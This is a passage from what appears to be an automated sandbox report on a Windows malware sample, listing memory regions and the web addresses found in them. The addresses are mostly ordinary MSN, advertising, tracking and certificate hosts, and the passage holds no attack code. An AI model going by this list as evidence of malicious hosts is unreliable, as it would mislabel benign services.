memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBVuaWG.img?h=16&w=16&m
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345005015.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280176337.0000000004221000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292741553.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292772803.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345262940.0000000005A51000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484907031.0000000005AB0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409522338.0000000004519000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502518720.00000000065A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.422725299.0000000004769000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.486922603.0000000005AA8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502811746.0000000006631000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBVuddh.img?h=16&w=16&m
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.287712983.00000000043F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330382505.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330038482.00000000052A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.333295635.00000000052A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283728311.00000000043F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338271728.0000000005151000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.337881619.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335649928.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335608702.00000000052A1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.530993511.0000000005E98000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414971086.00000000045E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483550226.0000000005E20000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484130863.0000000005D40000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498555676.0000000006569000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBWoHwx.img?h=27&w=27&m
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.290448651.00000000044B0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345197319.0000000006051000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.532907065.00000000065A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446385507.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.426485012.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502749747.0000000006651000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.436120185.0000000004761000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBX2afX.img?h=27&w=27&m
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330382505.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335316985.0000000005328000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338007811.0000000004501000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283728311.00000000043F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.337881619.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338095551.00000000043C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283965593.00000000043F1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414971086.00000000045E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483756426.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483550226.0000000005E20000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.496566679.0000000005E99000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498076357.0000000005DD9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446872861.0000000004489000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBih5H.img?m=6&o=true&u
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345005015.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330382505.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280176337.0000000004221000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335513554.00000000052E8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292741553.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329946845.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292772803.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338007811.0000000004501000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283728311.00000000043F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.337881619.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338174485.0000000004261000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345262940.0000000005A51000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283965593.00000000043F1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335394241.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484907031.0000000005AB0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.448095229.0000000004568000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409522338.0000000004519000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502518720.00000000065A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414971086.00000000045E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBnYSFZ.img?h=16&w=16&m
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330382505.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335316985.0000000005328000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338007811.0000000004501000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.357322813.00000000043C0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283728311.00000000043F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.337881619.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283965593.00000000043F1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.501599670.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414971086.00000000045E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483756426.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483550226.0000000005E20000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.496566679.0000000005E99000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446872861.0000000004489000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BByBEMv.img?h=16&w=16&m
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335257812.0000000005341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329745399.0000000005340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338074016.0000000004341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335295839.0000000005348000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483708298.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.497921300.0000000005F19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static.chartbeat.com/js/chartbeat.js
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330038482.00000000052A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.333295635.00000000052A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338271728.0000000005151000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335649928.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335608702.00000000052A1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484130863.0000000005D40000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498555676.0000000006569000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://t.wayfair.com/a/vendor_sync/user?vendor_id=1&uid=3011883223893104794&t=1
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335257812.0000000005341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329745399.0000000005340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330038482.00000000052A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338074016.0000000004341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.333295635.00000000052A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338271728.0000000005151000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335295839.0000000005348000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335649928.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335608702.00000000052A1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483708298.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.497921300.0000000005F19000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484130863.0000000005D40000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498555676.0000000006569000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://trc.taboola.com/p3p.xml
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335542001.00000000052C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330096144.00000000052C0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335575472.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338218314.00000000042C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498467638.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484048915.0000000005D60000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://widgets.outbrain.com/external/publishers/msn/MSNIdSync.js
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.348012619.00000000064F4000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.348110063.00000000064F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.445636869.00000000047E4000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.505044865.0000000006848000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330038482.00000000052A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.333295635.00000000052A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338271728.0000000005151000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335649928.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335608702.00000000052A1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484130863.0000000005D40000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498555676.0000000006569000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://www.googleadservices.com/pagead/p3p.xml
Source: d.0.dr	String found in binary or memory: http://www.msn.com
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.348691885.0000000005B30000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.290256424.0000000004268000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.336576985.0000000004517000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.332232733.0000000004510000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.284045661.00000000043F8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283728311.00000000043F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.336627856.0000000004517000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283965593.00000000043F1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.443760045.0000000004480000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.416655815.0000000004637000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495268701.0000000005B18000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.501225826.0000000006288000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488929128.0000000004820000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://www.msn.com/
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338329323.0000000005170000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.294908943.0000000005118000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.279645647.0000000004271000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.331793874.0000000004270000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.279838375.0000000004278000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.300396159.0000000004537000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.300482332.0000000004537000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.331107259.00000000044E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.294585730.0000000005111000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.501715599.0000000004680000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.494618814.0000000004598000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.419741274.0000000004687000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414899247.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.407832897.0000000004517000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://www.msn.com/?ocid=iehp
Source: d.0.dr	String found in binary or memory: http://www.msn.com/de-ch/?ocid=iehp
Source: d.0.dr	String found in binary or memory: http://www.msn.com/de-ch/entertainment/_h/c920645c/webcore/externalscripts/oneTrustV2/consent/55a804
Source: d.0.dr	String found in binary or memory: http://www.msn.com/de-ch/entertainment/_h/c920645c/webcore/externalscripts/oneTrustV2/scripttemplate
Source: d.0.dr	String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;src=2542116;type=2542116;cat=chom0;ord=7162084889081;g
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.279645647.0000000004271000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.279838375.0000000004278000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.293538991.0000000004539000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280237180.00000000042B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.331107259.00000000044E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.419741274.0000000004687000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.447515827.0000000004581000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.423102370.0000000004689000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.407832897.0000000004517000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;src=2542116;type=chrom322;cat=chrom01g;ord=57232382215
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.279645647.0000000004271000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.279838375.0000000004278000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.293538991.0000000004539000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280237180.00000000042B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.331107259.00000000044E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.419741274.0000000004687000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.447515827.0000000004581000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.423102370.0000000004689000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.407832897.0000000004517000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;src=2542116;type=clien612;cat=chromx;ord=1;num=5657692
Source: d.0.dr	String found in binary or memory: https://adservice.google.co.uk/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=5723238221569;gt
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.279645647.0000000004271000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.279838375.0000000004278000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.293538991.0000000004539000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280237180.00000000042B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.331107259.00000000044E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.419741274.0000000004687000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.447515827.0000000004581000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.423102370.0000000004689000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.407832897.0000000004517000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://adservice.google.com/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=5723238221569;gtm=
Source: d.0.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingaot
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.389646070.0000000006058000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346671880.0000000006049000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345520391.0000000006039000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292681840.0000000005110000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.294869395.00000000042E8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345170701.0000000006071000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.491598442.0000000005A70000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.490442362.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487449170.0000000005B20000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503211203.0000000006591000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.532928709.00000000065B0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504595566.0000000006721000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 